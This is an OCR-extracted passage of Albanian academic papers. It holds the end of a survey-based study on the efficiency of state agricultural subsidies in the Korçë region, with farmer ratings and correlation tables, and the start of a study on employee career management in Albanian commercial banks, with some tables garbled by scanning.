fermerit, pra ashtu si fermerét e mendojné dhe e vlerésojné mbéshtetjen
financiare.Ne besojmése kjo pérgasje siguron rezultate reale sepse:

-Njé pjesé e fermeréve kané pérfituar nga mbéshtetja dhe efektet e saj jané té
prekshme dhe konkrete pér ata.

-Edhe nése nuk kané pérfituar direkt, fermerét kané pérvojat dhe vlerésimet e tyre
shumévjecare dhe jané né gjendje té béjné vlerésime té péraférta t€ impaktit apo
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eficencés, me kusht qé atyre t’u b&hen té thjeshta dhe té kuptueshme domethénia e
kétyre termave.

-Fermerét komunikojné vazhdimisht midis tyre dhe mésojné nga njéri tjetri. Edhe né
kété rast ata shkémbejné informacion, mésojné dhe béjné vlerésime pérmes Kkétij
shk&mbimi té informacionit.

Intervistat me fermeré.Ne zgjodhem sipas metodés sé zgjedhjes aksidentale 72
fermeré nga rrethi i Korgés dhe Devollit.Kjo éshté njé zgjedhje shkencore gé lejon té
béhen vlerésime indikative, té péraférta, pér efektin ose eficencén e mbéshtetjes
financiare.Fokusi yné jané pemétaria, blegtoria, perimet dhe patatet.Pasqyra e
méposhtme tregon strukturén e zgjedhjes sipas drejtimit prodhues té fermés dhe
arsimit té té intervistuarve.

Pasgyra 1. Grupimi sipas nivelit té arsimit dhe drejtimit té fermés sé té
intervistuarve

Drejtimi Fillor | Tetévjecar I mesém | I larté | Totali
Blegtori 1 3 4
Frutikulturé 8 27 19 2 56
Frutikulturé+blegtori 1 1
Mikste 2 1 6 9
Perime 1 1 2
Totali 11 32 26 3 72

Bazé pér marrjen e té dhénave me anén e anketave dhe kryerjen e vlerésimeve jané
treguesit gé paragiten népasqyrén 2. Né kokén e pasqyrés paragiten disa tregues té
cilét ne mendojmé sé jané faktoré té réndésishém té eficencés. Né shtyllén e pare té
pasqyrés tregohen aktivitetét kryesore pér té cilét ¢do i intervistuar ka béré vlerésim
pér ndikimin e ¢do faktori né efektin ose eficencén e mbéshtetjes financiare
shtetérore.

Pasqgyra 2.Faktorét potenciale eficencés sipas aktivitetéve bujgésore kryesore
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Informacioni tjetér i réndésishém gé éshté marré pérmes anketave éshté ai mbi
pérfitimet nga skemat e mbéshtetjes, si dhe pér ¢faré mendojné fermerét pér fokusin
(drejtimet) actual t&€ mbéshtetjes dhe si duhej té ishte sipas tyre ky fokus.

Modelimi ekonometrik.Pérmes modelimit ekonometrik né pérpigemi té béjmé dy
gjéra:

Sé parté zbulojmé se cilét jané faktorét me té réndésishém gé ndikojné né masén e
impaktit dhe té eficencés sé mbéshtetjes financiare. Sé ayt/, té béjmé njé vlerésim té
masés sé efektit gé kané kéta faktoré mbi impaktin ose eficencén.

Metodat statistikore.Ne pérdorim metodén e korrelacionit parametrik dhe metodén
e regresit pér té vlerésuar shkallén e bashkéshogerimit apo té lidhjes midis treguesve
té eficencés dhe faktoréve té ndryshém té saj, si pérdorimi i inputeve bujgésore,
akcesi né tregun e produkteve bujgésore, agropérpunimi, etj.

I11-Analiza dhe diskutimi i rezultateve

Ne postulojmé se pérfitueshmeria si koncept ekonomik nénkupton eficencén
ekonomike.Pér té maré vlerésimet e fermeréve mbi eficencén ne pérdorém termin e
pérfitueshmérisé pér produkte apo sektoré té vecante bujgésore, sepse termi i
eficencés pérgjithésisht nuk kuptohet nga femerét.Pér njé njohje té pérgjithshme té
rezultateve té intervistimit mbi eficencén, mé poshté né paragesim njé vlerésim té
eficencés nga ana e fermeréve sipas sektoréve kryesoré, nivelit arsimor té té
intervistuarve (Pasqyra 3) dhe sipas drejtimit té fermés dhe sektoréve potenciale
(Pasgyra 4).Shifrat né pasqyrat jané vlerésime mesatare té eficencés né shkallén 0
deri né 10.

Pasgyra 3. Eficenca sipas nivelit arsimor té té intervistuarve dhe sektoréve
kryesore

Arsimi Pemtaria Blegtoria Perime Patate
Fillor 7.291 7.233 6.243 5.522
Tetévjecar 6.910 6.842 6.258 5.708
| mesém 7.392 7.276 6.405 5.838
| larté 6.867 6.850 7.300 7.100
Total 7.144 7.068 6.352 5.780

Pasqyra 4: Eficenca sipas drejtimit té fermave té intervistuara dhe sektoréve
kryesore

Drejtimi i fermés Pemétaria | Blegtoria Perime Patate
Blegtori 6.900 6.950 7.400 7.200
Frutikulturé 7.164 6.986 6.395 5.811
Frutikulturé+blegtori 6.100 6.700 4.900 4.800
Mikste 7.411 7.533 5.989 5.356
Perime 6.250 7.000 7.300 6.750
Total 7.144 7.068 6.352 5.780
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Né pérgjithési vlerésimet sipas nivelit(Pasqyra 3) nuk ndryshojné né ményré té
konsiderueshme, me pérjashtim té& perimeve dhe patateve té cilat konsiderohen mé
shumé eficente nga ana e fermeréve me shkolle télarté.

Si¢ duket garté nga pasqyra 4, fermerét pérgjithésisht vlerésojné mé shumé
produktet apo aktivitetét ku ata vete jané té fokusuar, me disa pérjashtime té pakta
por té dukshme, si vleresimi i perimeve dhe patateve si produkte eficente nga ana e
fermeréve blegtoré dhe atyre gé kultivojné perime.Gjithésesi, pemétaria vlerésohet si
mé eficente dhe patatet si mé pak eficente.

Sa i takon analizés, mé pare né shgyrtuam potencialet kryesore bujgésore nézonén e
Korgés, potenciale né kuptimin e kushteve klimatiko-tokésore, tradités dhe pérvojés,
kérkesés sé tregut, ettj., [5]. Sipas studimit, potencialet kryesore té€ zonés sé Korgés
jané si né pasqyrén 5:

Pasqgyra 5. Produktet me potenciale té zonés sé Korgés

Produkti Vlerésim | Produkti Vlerésimi Produkti | Vlerésimi
i me piké me piké me piké

Mollé 315 Djathé dhie | 167 Kumbull | 84

Qumaésht 197 Djathélopé | 152 Gruré 83

dele

Dardhé 191 Domate 142 Misér 74

Qumeésht 188 Lakér 132 Pjeshké | 71

lopé

Qumaésht 180 Speca 118 Tranguj | 67

dhie

Djathé 179

dele

Nga pasgyra konstatojmé se molla dhe dardha, si dhe produktet blegtorale jané nga
mé potencialet né zonén e Korgés.Ndérkohé edhe mbéshtetja financiare kryesore
éshté fokusuar né prodhimin e mollés dhe té& produkteve blegtorale. Prodhimi i
rrushit nuk éshté listuar njé produkt sa duhet potencial, ndérsa nga perimet domatja
éshté njé produkt potencial. Paré né kété kéndvéshtrim, mbéshtetja financiare né
garkun e Korcés éshté pérgjithésisht eficente, sepse mbéshteten sektorét
pérgjithésisht mé potenciale. Megjithate, eficenca mund té rritej me tej, nése disa
produkte, si vreshtat, pjeshka ose kumbulla, nuk do té mbéshteteshin ose do té
mbéshteteshin né njé masé mé té vogél.

Sé dyti, né krahasuam fokusin actual té mbéshtetjes finnaciare me até gé do té donin
fermerét, gé sipas tyre éshté me efektive, ka mé shumé impakt dhe éshté mé
eficente. Pasgyra 6na jep informacionin e nevojshém pér té béré analizén pérkatése
Né kété pasqyré shifrat tregojné vlerésimin mesatar t€ fermeréve pérfitues dhe
jopérfitues pér skemat mbéshtetése sipas sektoréve, né njé sistem prej 10 pikésh
maksimale.
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Pasqyra 6.Krahasimi i fokusit aktual t¢ mbéshtetjes me até fokus gé fermerét e
mendojné me té miré

Pérfitues | Mbjellje | Blegtoria | Mbjellje | Magazinim | Pérpunim | Tjetér
pemé vreshta

Jopérfitues nga skemat

Fokusi 7.50 5.40 4.88 4.68 3.80 X

aktual

Fokusi i | 9.60 8.20 7.40 9.43 8.83 3.80

duhur

Ndryshimi | 2.1 2.8 2.52 4.75 5.03 X

Pérfitues nga skemat

Fokusi 8.87 6.21 5.69 4.45 3.45 3.71

aktual

Fokusi i 9.20 7.80 6.62 8.48 7.97 3.71

duhur

Ndryshimi | 0.33 1.59 0.93 4.03 4.52 0

Totali

Fokusi 8.08 5.73 521 4.58 3.66 3.71

aktual

Fokusi i ]9.43 8.03 7.07 9.03 8.46 3.75

duhur

Ndryshimi | 1.35 2.3 1.86 4.45 4.8 0.04

Duke shqgyrtuar me kujdes pasqyrén vémé re se:Si pérfituesit ashtu edhe
jopérfituesit, veganérisht kétaté fundit, kérkojné njé fokus me té forté, pra mé shumé
mbéshtetje financiare pér zonén e Korgés.

Fokus (mbéshtetje) me i forté financiar kérkohet pér té gjithé sektorét e prodhimit
bujgésor, por né piképamje krahasuese, mé pak focus kérkohet pér mbjelljen e
peméve frutore dhe té vreshtave; fokus i fugishém kérkohet né pérpunimin e
produkteve bujgésore dhe blegtorale si dhe né ruajtjen dhe magazinimin e tyre. Me
sa duket, fermerét ndiejné véshtirési té médha né pérpunim (sektor agropérpunues
ende i pazhvilluar) dhe né ruajtjen dhe magazinimin e produkteve té tyre.

E interpretuar ndryshe, me njé logjike ekonomike me formale, rritja e fokusit né
drejtimet e lartpérmendura do ta rriste impaktin dhe eficencén e mbéshtetjes
financiare pér bujgésiné né kété zoné. E théné me qarté, nése do té vazhdohet me
pérparésite aktuale, ku mbjellja e peméve frutore dhe/ose vreshtave z& peshén mé té
madhe, eficenca e mbéshtetjes financiare do té ishte mé e vogeél.

Mé tej, pér té gjykuar mbi eficencén e mbéshtetjes financiare né zone né analizuam
faktorét e pérfitueshmérisé té sektoréve kryesore potenciale té prodhimit bujgésor né
kété zoné.Veté fermerét vlerésuan shkallén e réndésisé sé cdo faktori pér secilin nga
sektorét, me anén e njé sistemi me 10 piké maksimale.Pasgyra 7 paragit né ményré

121



té pérmbledhur vlerésimet e agreguara (mesatare) té fermeréve té intervistuar sipas
sektoréve prodhues dhe faktoréve té frytshmérise.

Pasqgyra 7.Vlerésimet mesatare té faktoréve té pérfitueshmerisé sipas sektoréve
né garkun e Korgés

gl 3 2|3 £/ °2| 2§ 2 % ¢
) o 2| < — 5 5 S ~ = 3
=| B = 3| 3| &| &| ¢
@ @ o @ @
Fruta 8.79 | 8.66 | 759 |5.30 | 6.68 732 | 779 |7.61 | 450 |7.14

Blegtori | 6.86 | 7.20 | 8.04 | 5.32 | 6.02 8.04 | 7.23 | 8.46 |6.43 | 7.06

Gjedhé | 6.75 | 7.38 | 7.89 | 555 | 6.11 8.09 711 | 838 |6.70 |7.11

Perime | 6.83 | 7.25 | 6.60 | 5.34 | 5.68 7.19 | 6.51 | 6.64 |511 |6.35

Patate |6.21 | 6.57 | 590|524 |591 6.59 | 5.84 | 578 |4.00 | 578

Duke analizuar té¢ dhénat gjejmé se:Pemétaria né pérgjithési mbetet sektori me
fitimprures, i ndjekur nga blegtoria, por edhe perimet nuk jané shumé larg dy
sektoréve té paré.

Kushtet dhe tradita jané faktorét me té réndésishém qé e béjné efektive dhe eficente
mbéshtetjen financiare pér prodhimin e frutave, né njé kohé gé dhe kérkesa dhe
tregu pér to vlerésohen té mira.

Pér prodhimet blegtorale faktoré me té réndésishém jané tregu dhe ¢cmimi, dhe disi
mé pak kushtet dhe tradita.

Pér perimet faktoré me té réndésishém vlerésohen kushtet dhe ¢mimi, ndonése
krahasuar me pemét frutore dhe blegtoring kéta faktoré paragiten mé pak té
réndésishém.

Pér té gjithé sektorét, keshillimi teknik, niveli jo i miré apo mungesa e teknologjive
dhe mungesa e kapacitetéve agropérpunuese né zoné mbeten faktorét me ndikim me
té forté negativ mbi eficencén ekonomike né té gjjthe sektorét.

Né vijim, pér té vlerésuar implikimet e ndérsjell midis eficencés dhe faktoréve té saj
ne ndértojmé modele ekonometrike.Né kété artikull né kufizohemi vetém né
modelin e vartésisé sé eficencés né pemétari nga shkalla e pérdorimit té inputeve
bujgésore. Duke supozuar lidhje lineare midis kétyre variablave, pérftituam modelin:
Eficenca= 5.8243+0.1495*Inpute+eme koeficient korrelacioni 0.28.

Ky rezultat tregon sé midis pérdorimit té& inputeve dhe eficencés né pemétari ka
lidhje pozitive: kur pérdorimi i inputeve rritet me njé njésiné shkallén nga 0 me 10,
eficenca né pemétari rritet me 0.15 njési.Ky rezultat, pér shkak sé “matja” qé i béjné
fermerét pérdorimit té inputeve apo edhe eficencés né shkallén 0 me 10, éshté jo
preciz, difekt ky i kesaj lloji té shkallés sé matjes.
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Sé fundi, ne analizuam forcen e lidhjes midis eficencés dhe disa prej faktoréve té
saj.Né u fokusuam kryesisht nédysektoré, pemtariné lidhur me pérdorimin e
inputeve, akcesi né agropérpunim dhe akcesin né treg né pérgjithési, si dhe perimet
lidhur me pérdorimin e inputeve bujgésore.Pérté eliminuar nénjéfarémasé ndikimin
e shkallés sé matjes sé variablave me shkallén O deri né 10, si¢ theksuam mé lart, ne
kryem grupimin e té intervistuarve né formen e njé pasqyré 2x2, pra me dy grupe
pér eficencén dhe dy grupe pér secilin nga faktorét e shqyrtuar. Né c¢do rast ne
llogaritém koeficientin e bashkéshogérimit.

Pasqyra 8: Pemétaria vs inputeve bujqésore Pasqyra 9: Pemétaria vs agropérpunimit
Eficenca Inputet Totali Eficenca Agropérpunimi
né - x népem@tari -
pemBtari 2.7-6.7 6.7-10 Totali 15 6-10
3.8-6.2 3 6 9 3.8-6.2 9 5 4
6.2:8.8 5 57 62 6.2-88 61 12 49
| Totali 8 63 71 Total 70 17 53
Pasqyra 10: Pemtaria vs tregut Pasqyra 11: Perimet vs inputeve
Eficenca Tregu bujq sore
népemBitari =T 0 T Torml; | | Eficenca Inputet | Totali
néperime [ > 7. [ ¢.7-
3.8-6.2 6 3 9
6.2-8.8 10 52 62 67 1 10
e Deri 4.4 8 11 19
Total 16 55 71
44-84 2 52 54
Totali 10 63 73

Duke e konsideruar kété tregues si njé koeficient tépérafért korrelacioni t& modelit
ekonometrik linear, népérllogaritem edhe koeficientin pérkatésté regresit, i cili
tregon ndryshimin marxhinal té eficencés pér ¢cdo njési shtesé té faktorit pérkatés té
saj.Llogaritjet janépérmbledhur né pasqyrén 12.

Pasqyra 12: Koeficientet e korrelacionit midis eficencés dhe disa faktoréve té
saj

Eficenca Inputet Agropérpunimi Tregu
Pemétari 0.70 0.67 0.82
Perime 0.90 X X

Vihet re lidhje e konsiderueshme midis eficencés né pemétari dhe sidomos né
perime me pérdorimin e inputeve bujgésore, mundésite e agropérpunimit dhe me
mundésiné e shitjes né treg té produkteve bujgésore.
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Analizat e métejshme tregojné se edhe né patate eficenca varet mjaft nga shkalla e
pérdorimit té inputeve. Ka indikacione empirikese edhe kooperimi éshté njé faktor
gé ndikon né rritjen e eficencés (né perime).

Kéto rezultate tregojné sé eficenca e mbéshtetjes financiare varet mjaft edhe nga
disponueshméria e njé numri faktorésh, si¢ jané inputet, agropérpunimi, tregu,
kooperimi, etj. Prandaj,eficenca e saj do té ishte mé e madhe né sektoré apo drejtime
ku disponueshméria e faktoréve té mésipérm éshté mé e fugishme, ose e théné
ndryshe, nése duhet té pérmirésohet eficenca e mbéshtetjes finaciare atéhere duhet té
kété edhe politika pér shtimin e pérdorimit té inputeve bujgésore, pérmirésimin e
agropérpunimit dhe rritjen e akcesit né treg, nxitjen e kooperimit midis fermeréve,
etj.

IV-Pérfundime dhe rekomandime

Mbéshtetja financiare né garkun e Korgés éshté e konsiderueshme, me impakt té
dukshém dhe ajo pérgjithésisht éshté eficente, sepse mbéshteten sektorét
pérgjithésisht me potenciale.

Pemétaria népérgjithési mbetet sektori mé fitimprurés, i ndjekur nga blegtoria, por
edhe perimet nuk janéshumé larg dy sektoréve té paré. Megjithaté, eficenca e
pérgjithshme mund té rritej me tej, nése disa produkte, si: vreshtat, pjeshka ose
kumbulla, nuk do té mbéshteteshin, ose do té mbéshteteshin né njé masé mé té
vogél.

Kérkohet mé shumé mbéshtetje financiare pér zonén e Korgés.Mbéshtetje financiare
mé e madhe kérkohet pér té gjithé sektorét e prodhimit bujgésor, por né piképamje
krahasuese, me mbéshtetje kérkohet pér mbjelljen e peméve frutore dhe té vreshtave
dhe mbéshtetje paralele dhe me e fugishme kérkohet né pérpunimin e produkteve
bujgésore dhe blegtorale si dhe né ruajtjen dhe magazinimin e tyre.

Rritja e mbéshtetjes si mé lart do ta rriste si impaktin ashtu edhe eficencén e
mbéshtetjes financiare pér bujgésiné né kété zoné. Nése do té vazhdohet me
pérparésite aktuale, ku mbjellja e peméve frutore ose vreshtave z€ peshén me té
madhe dhe e pashogeruar me mbéshtetje me té madhe né pérpunimin e produkteve
bujgésore dhe blegtorale si dhe né ruajtje dhe magazinimi, eficenca e pérgjithshme e
mbéshtetjes financiare do téishte mé e vogeél.

Kushtet dhe tradita jané faktorét mé té réndésishém qé e béjné efektive dhe eficente
mbéshtetjen financiare pér prodhimin e frutave, né njé kohé gé dhe kérkesa dhe
tregu pér to aktualisht vlerésohen té mira.

Pér prodhimet blegtorale faktoré me té réndésishém jané tregu dhe ¢cmimi, dhe disi
mé pak kushtet dhe tradita.

Pérperimet faktoré mé té réndésishém vlerésohen kushtet dhe ¢mimi, ndonése
krahasuar me pemét frutore dhe blegtoring kéta faktoré paragiten mé pak té
réndésishém.

Pér té gjithé sektorét, késhillimi teknik i pamjaftueshém, niveli jo i miré apo
mungesa e teknologjive dhe mungesa e kapacitetéve agropérpunuese né zoné
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mbeten faktorét me ndikim mé té forté negative mbi eficencén ekonomike né té
gjjthe sektorét.

Vihet re lidhje e konsiderueshme midis eficencés né pemétari dhe sidomos né
périme, me pérdorimin e inputeve bujgésore, mundésite e agropérpunimit dhe me
mundésiné e shitjes né treg té produkteve bujgésore.Edhe né patate eficenca varet
mjaft nga shkalla e pérdorimit t& inputeve.
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POLITIKAT DHE PRAKTIKAT E MENAXHIMITTE KARRIERES
SEPUNONJESVE NE BANKAT TREGTARE NE SHQIPERI

Elda Dollija
Departamenti i Menaxhimit, Fakulteti i Ekonomisg,
Universiteti “Fan S. Noli”, Korcé
Pérmbledhje

Karriera i pérket individit, por né shumé raste karriera planifikohet dhe menaxhohet
pér individin nga organizata.Né kété ményré organizatat mund té marrin njé rol
udhéhegés dhe té kené kontroll mbi planifikimin dhe menaxhimin e
karrierés.Qéllimi i kétij punimi éshté gé té vézhgojé pérdorimin e politikave dhe
praktikave t& Menaxhimit té Karrierés sé Punonjésve nga bankat tregtare gé e
ushtrojné akvitetin e tyre né Shqipéri.Pér realizimin e studimit u kontaktua direkt me
shefat e Burimeve Njerézore té 7 prej bankave qé operojné né Shqipéri, té cilét iu
pérgjigjén pyetjeve té njé pyetésori té strukturuar. Né& pérfundim té studimit
konkludohet se bankat tregtare né Shqipéri investojné né ményré té konsiderueshme
pér menaxhimin e karrierés sé punonjésve té tyre.Kéto banka kané pérshtatur dhe po
vazhdojné té pérshtatin politikat dhe praktikat mé efikase pér menaxhimin e
karrierés sé punonjésve té tyre.

Fjalét celés: karriera, politikat dhe praktikat e karrierés, késhillimi i karrierés, banka

Abstract

Generally career belongs to employees, but in many cases career is planned and
managed by the organization for the employees. This way, organizations can take a
leading role and have control over employee career management. The purpose of
this paper is to monitor the use of the policies and practices of Employee Career
Management of commercial banks that operate in Albania. To conduct this study,
managers of Human Resource of seven banks operating in Albania were asked to
answeéer the guestions from a structured questionnaire. At the end of the study we
can conclude that commercial banks in Albania significantly invest to manage the
career of their employees. These banks have just adopted and are adopting more
effective policies and practices for managing their employees' careers.

Hyrje

Karriera éshté njé nga funksionet mé té réndésishme té Burimeve Njerézore (BNJ)
gé konvergon né njé piké interesi té pérbashkét pér punonjésin dhe
organizatén.Cfaré éshté karriera?Pérgjigjja e késaj pyetje varet nga kéndvéshtrimi i
atij gé bén pyetjen.Karriera i pérket individit, por gjithashtu planifikohet dhe
menaxhohet pér individin nga organizata.Struktura organizative shérben si njé harté
udhézuese gé ndihmon punonjésit né identifikimin e pozicioneve, lidhjeve gé
ekzistojn€ mes pozicioneve, cilésité€ e nevojshme pér t’i z€né ato, dhe pér mé tepér,
mekanizma gé i mundésojné punonjésve pér té lundruar né kété harté udhézuese.Né
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kété ményré organizatat ndikojné mbi planifikimin dhe menaxhimin e karrierés sé
punonjésve té tyre.

Sot, mé shumé se kurré organizatat jané té interesuara pér té investuar né karrierén e
punonjésve té tyre. Ky investim reflektohet né pérshtatjen e politikave dhe
praktikave pér Menaxhimin e Karrierés sé Punonjésve (MKP). Kéto politika dhe
praktika si dhe interesi ndaj tyre kanéndryshuar me kalimin e kohés. Qé&llimi i kétij
artikulli éshté té vézhgojé pérdorimin e disa prej praktikave mé té pérdorshme té
MKP-sé nga bankat tregtare gé e zhvillojné aktivitetin e tyre né sistemin bankar né
Shqipéri. Pér realizimin e studimit jané vézhguar shtaté banka gé operojné né
Shqipéri: Banka Kombétare Tregtare, Tirana Bank, Union Banka, National Bank of
Greece, Societe General, Credins Bank dhe ProCredit Bank. Nga vézhgimi rezultoi
se kéto institucione i japin réndésiné e merituar departamentit t&¢ BNj né pérgjithési
dhe MKP-sé né vecanti duke i pérditésuar politikat dhe praktikat mé eficente té BNj
dhe menaxhimit té karrierés.

Materiali

Psikologét e pércaktojné karrierén si “modelin e eksperiencave t€ punés gjaté jetés
sé individit” (Greenhaus & Callanan1994").Arthur dhe Hall e konsiderojné karrierén
si “njé sekuencé evoluese t& pérvojés sé punés té njé personi me kalimin e
kohés™" Ndérsa Arnold, karrierén e pérkufizon si “sekuencén e pozicioneve, roleve,
aktiviteteve dhe pérvojave té njé individi, t& lidhura me punén.Karriera mund té
shihet vértet si sekuenca e jetés, rolit dhe pérvojave té lidhura me punén, nése
kufizohemi né perspektivén e njé individi.Megjithaté, karriera zhvillohet né mjedise
té caktuara shogérore, dhe né vecanti né organizata - njé piké vendimtare e
anashkaluar nga shumé studiues gé analizojné karriera vetém nga kéndvéshtrimi
psikologjik.Karriera normale apo tipike profesionale, zakonisht ndjek njé sekuencé
fazash zhvillimi, ku secila fazé do té varet nga vlerésimi i individit pér vetveten, por
gé gjithashtu do té ndikohet edhe nga organizata ku individi punon.

Secili punonjés ka njé karrieré, qofté ai portier apo CEO né njé organizaté. Disa
individé e zhvillojné karrierén e tyre jashté kufijve té organizatave, si psh. individét
gé hapin njé biznes, artistét, té papunét. Gjithsesi, pjesa mé e madhe e individéve
zakonisht jané té punésuar népér organizata. Kéto té fundit zbatojné praktika té
karrierés pér té plotésuar nevojat e punonjésve pér Kkarrieré. Kéto praktika
mbéshtesin nevojat e punonjésve né té gjitha nivelet hierarkike té organizatés dhe
sidomos nénivelet e larta.

Karriera shihet né dy kéndvéshtirme té ndryshme: kéndvéshtrimi i punonjésit dhe i
organizatés. Karriera e paré né kéndvéshtrimin e individit ose si¢ quhet ndryshe
“karriera e brendshme” ka t€ b&jé me perceptimet e individit lidhur me karrierén e
tij: zhvillimin, progresin dhe pérmbushjen e géllimeve. Ky vetéperceptim pérfshin
vendosjen e géllimeve subjektive té€ karrierés dhe vlerésimin e pérpjekjeve pér t’i
arritur ato. Karriera individuale éshté subjektive, késhtu qé pércaktimi i suksesit té
késaj karriere varet nga ndjenjat e brendshme dhe vlerat e individit si edhe nga
géllimet e karrierés qé vendos ¢do individ. “Karriera organizative” pérbéhet nga
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hapat népér té cilat kalojné individét, gé kané té bé&jné me pozicionet dhe rolet gé ata
marrin gjaté jetés sé tyre né puné. Progresi i karrierés mund té jeté objektiv dhe té
matet brenda njé organizate ose mes organizatave me shkallé té njéjté promovimi.
Megjithaté, kéto krahasime jané mé pak té garta dhe mund té jené edhe pakuptim pér
karrierat dinamike, ku hapat pérfshijné lévizje té shuméfishta.

Pjesa mé e madhe e literaturés dhe studimeve té kryera lidhur me karrierén, jané
fokusuar né aspektin individual té karrierés dhe shumé pak éshté folur pér praktikat
e organizatés pér menaxhimin e karrierés sé punonjésve té saj. Realisht gé té dyja
palét jané té interesuara dhe investojné pér karrierén, ku interesimi dhe investimi
ndonése pér objektiva dhe interesa té ndryshme, konvergojné né njé piké dhe interes
té pérbashkét: progresi i karrierés. Pra, gé té kemi njé rezultante sa mé té madhe té
progresit té karrierés, kérkohet njé investim nga té dyja palét: si nga individi i cili do
té arrijé suksesin objektiv dhe subjektiv té karrierés sé tij, ashtu edhe nga organizata
e cila do t& maksimizojé kontributin e punonjésit né organizaté duke pérfituar
maksimalisht nga investimi gé ka béré pér até punonjés.

Eshté né interesin e organizatés qé té konsiderojé burimet njerézore si njé burim
strategjik dhe té vlerésojé kontributin e tyre né performancén e organizatés (Becker
et al. , 2001"). Kjo dmth. gé t’i bésh punonjésit té ndihen miré né vendin e tyre té
punés, t&¢ mos ndihen nén presion, té ndihen se jané té réndésishém pér kompaniné
dhe mbi té gjitha té ndihen té barabarté mes tyre né organizaté (Riaz, 2010"). Nése
Kjo arrihet, do té sillte njé pérfitim té dyfishté, si pér punonjésit ashtu edhe pér veté
organizatén, e cila do té kishte njé garkullim mé té ulét té punonjésve, gé pérkthehet
né mé pak kosto dhe njé performancé mé té larté pér kompaniné (Haines, 2010").
Gjithashtu, ashtu si¢ citojné dhe autorét Vos et al. , 2006", studiuesit jané dakord se
menaxhimi i karrierés nga ana e punonjésit dhe praktikave té organizatés nuk e
pérjashtojné njéra-tjetrén, por jané komplementare mes tyre. Edhe pse literatura
thekson rolin e individit, menaxhimi i Kkarrierés, gjithashtu éshté njé pérgjegjési e
madhe pér organizatén. Menaxhimi i Karrierés nga Organizata (MKO) pérkufizohet
si njé séré aktivitetesh formale dhe jo formale té ideuara dhe té menaxhuara nga
organizata pér té influencuar zhvillimin e karrierés sé njé apo mé shumé punonjésve
dhe rrjedhimisht pérmirésojné edhe efektivitetin dhe performancén e organizatés
(Arnold, 1996™). Studiues té¢ ndryshém kané studiuar pérdorimin e praktikave té
MKP-sé dhe impaktin e tyre né progresin e karrierés sé punonjésve (Baruch, 2004™;
Baruch &Peiperl, 2000; Vos et al. , 2006; CIPD, 2003"%).

Késhtu gé réndésia e menaxhimit dhe planifikimit té karrierés nga organizata, si
pjesé e menaxhimit té BNj, tashmé éshté e njohur. Studiuesit theksojné se sistemet e
MKP-sénga ana e organziatave duhet té sigurojné pérputhshmériné mes nevojave
dhe aspiratave té punonjésve dhe kérkesave té organizatés (Schein 1978%).

Disa nga praktikat mé t& pérdorura nga organizatat pér menaxhimin e karrierés sé
punonjésve té tyre jané: metoda e pérdorur pér rekrutimin e punonjésve (rekrutim i
jashtém ose i brendshém); investimi nga ana e organizatés pér arsimimin dhe
kualifikimin e métejshém té punonjésve tétyre; investimi i organizatés pér
késhillimin e karrierés sé punonjésve (trajnime nga organizata pér zhvillimin e
karrierés sé punonjésve); Mentori; etj.
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1. Rekrutimi i punonjésve (Njoftimi i vendeve té reja té punés)

Sa heré gé krijohet ose hapet njé vend i liré pune, organizatat tentojné ta plotésojné
até me punonjés té brendshém ose té jashtém. Zgjedhja varet nga niveli dhe lloji i
pozicionit si dhe nga politikat e brendshme té organizatés lidhur me menaxhimin e
karrierés sé punonjésve.

Nganjéheré, organizatat parapélqejn€ q€ vendet e lira t’i plot€sojn€ duke marré
personel nga jashté organizatés edhe nése ka punonjés té brendshém gé kané
aplikuar pér até pozicion, té cilét shpeshheré mbeten té pakénaqur dhe largohen nga
organizata, duke krijuar njé tjetér vend té liré. Ndérsa, kur i jepet prioritet
aplikimeve nga punonjés té brendshém, fillimisht kéto vende té lira njoftohen pér
punonjésit brenda organizatés. Shumé organizata e kané né politikat e tyre gé
pozicionet vakante t’iu komunikohen fillimisht punonjésve t€ brendshém dhe pastaj
vetém nése nuk ka kérkesa nga punonjésit e brendshém, té kérkohen punonjés nga
jashté. Rritja e réndésisé dhe vémendjes ndaj plotésimit t& vendeve vakante nga
punonjés té brendshém si pjesé e njé sistemi té miré t& menaxhimit té karrierés sé
punonjésve nga ana e organizatés, éshté demonstruar nga Douglas Tim Hall dhe
studiues té tjeré. Pérdorimi i késaj praktike nga ana e organizatés, i tregon
punonjésve se kjo e fundit parapélgen promovimin e punonjésve té saj aktualé mé
tepér sesa rekrutimin e punonjésve té rinj, sidomos pér nivele té larta drejtuese.

Tradicionalisht, poziconet vakante béheshin publike né mjediset e brendshme té
organizatave, si psh. tabela e njoftimeve. Gjaté viteve 1990 ndryshoi ményra e
komunikimit duke pérdorur e-mailin e brendshém pér komunikimin brenda
organizatés, ndérsa pér rekrutimin e punonjésve nga jashté pérdoren forma té
ndryshme komunikimi:publikimi i vendeve té lira né website-in zyrtar té
organizatés, népér gazeta, népér agjensi private dhe publike punésimiet;.

2. Investim né arsimimin e punonjésve

Organizatat mund té identifikojné dhe té pérzgjedhin punonjés té cilét kané aftési
dhe potenciale menaxhuese ose teknike dhe t’i dérgojné né kurse t€ ndryshme
trajnimi, ose programe studimi té métejshme (psh. programe studimi Master), si
pjesé e hapave té zhvillimit té karrierés sé tyre. Zakonisht kéto strategji pérdoren né
ato fusha ku organizata ka identifikuar se ka nevojé né té ardhmen dhe kéto
kualifikime jané njé zgjidhje shumé e miré pér pozicione té tilla, por jo vetém.
Organizatat mund ta pérdorin njé strategji té tillé edhe kur nuk ka ndonjé nevojé pér
momentin, por i pérgatit ata persona tek té cilét ia vlen té investosh dhe gé né té
ardhmen do ta justifikojné njé investim té tillé.

Ato organizata té cilat bé&jné njé planifikim afatshkurtér té burimeve njerézore, nuk
investojné né programe afatgjaté pér punonjésit e tyre. Kjo, ndodh jo vetém pér
shkak té natyrés afatshkurtér té kontratave té sotme té punés (karriera pa kufi gé do
té thoté se sot punonjésit ndryshojné shumé shpejt dhe shpesh puné), por edhe pér
shkak té njé niveli té ulét angazhimi né puné nga ana e punonjésve. Duke gené se
kjo tendencé e sotme e Kkarrierés pakufi (boundariless career) pritet gé té vazhdojé
edhe né té ardhmen, pra punonjésit ndryshojné shumé shpesh vende pune né
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organizata té ndryshme.Shumé organizata parapélgejné qé kéta punonjés té
kualifikuar t’i marrin t€ gatshém nga tregu i punés, sesa t€ investojné né arsimimin,
profesionalizimin, kualifikimin dhe trajnimin e tyre. Pra, organizatat pérballen me
pasiguriné pér investim tek punonjésit dhe me mungesén e stabilitetit. Punédhénésit
nuk jané pronarét e punémarrésve; kéta té fundit mund ta ndryshojné shumé shpejt
punén dhe organizatén, ku organizata e re (e cila mund té jeté konkurrente me
pararendésen) mund té pérfitojé nga investimi i béré pér até punonjés nga organizata
